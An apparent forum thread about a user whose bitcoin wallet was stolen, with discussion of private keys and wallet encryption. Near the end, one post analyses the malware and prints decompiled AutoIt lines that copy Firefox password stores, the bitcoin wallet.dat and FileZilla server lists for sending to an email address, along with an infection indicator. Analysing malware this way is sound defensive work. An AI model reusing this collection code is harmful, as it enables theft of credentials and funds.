ALL of my bitcoins stolen (Around 60) . What the F*CK.

Yes, exactly my point.  It seems the system would be greatly improved if the sender had the ability to "verify" a transaction.  Thus, my money could only be used by me (when I verify it) and then it becomes yours.

You verify it with your private key... so don't lose your private key.

Yes, and in that sense Windows can provide the exact same protection, because even back in XP there was an option to encrypt/shut off your user directory, so that other users (even administrators) couldn't access it.

Is there any third party software that makes use of permissions in Windows like this effectively?  Is there a way to handle this type of usage case, even for versions of Windows without user configurable permissions (i.e. versions below Pro)?

As far as I know, it doesn't actually work, kust makes the stuff impossible to list, but if you know the name of a file, you can get it. That, or my school network does it wrong

Yea, which was all fine and dandy until the price of a cheese pizza and soda went up

You can only use a password to protect (= encrypt) the private keys. Once someone has those keys he can do what he wants.

Yes, exactly my point.  It seems the system would be greatly improved if the sender had the ability to "verify" a transaction.  Thus, my money could only be used by me (when I verify it) and then it becomes yours.

Such a system would make the Bitcoin extremely attractive!

That's not technically possible. That is what your private key does - it authorizes a transaction. You can put a transaction password on your client, but that doesn't do anything if someone steals your wallet.dat - because they can just use the wallet.dat in a client that does not have that protection. If you have the private keys, you can spend the bitcoins, and there is to the best of my knowledge no technically possible way to prevent that.

BTW, how can you be confident about viruses, etc, if you have an unencrypted wallet and you lost all your BTC from it. I mean, really, think about it.

Sorry to go a bit offtopic, but the robber who created that virus really went hardcore; full time robber!
Here's what it goes after (it's an AutoIt script compiled and UPX packed):

Code:

	FileCopy(Execute(" @AppDataDir ") & "\Mozilla\Firefox\Profiles\" & $Var1512 & "\key3.db", "C:\temp1\")
	FileCopy(Execute(" @AppDataDir ") & "\Mozilla\Firefox\Profiles\" & $Var1512 & "\signons*", "C:\temp1\signons")
	FileCopy(Execute(" @AppDataDir ") & "\bitcoin\" & "wallet.dat", "C:\temp1\")
	FileCopy(Execute(" @AppDataDir ") & "\filezilla\" & "recentservers.xml", "C:\temp1\")

And sends it to:

clintonlowe46@gmail.com

EDIT: For those wondering if are infected, look for a folder names "readme" with a file inside named ""READ-FIRST.txt", inside your AppData dir (C:\documents and settings\<user>\Application Data (2k/xp) - c:\users\<user>\AppData\Roaming (Vista/7))
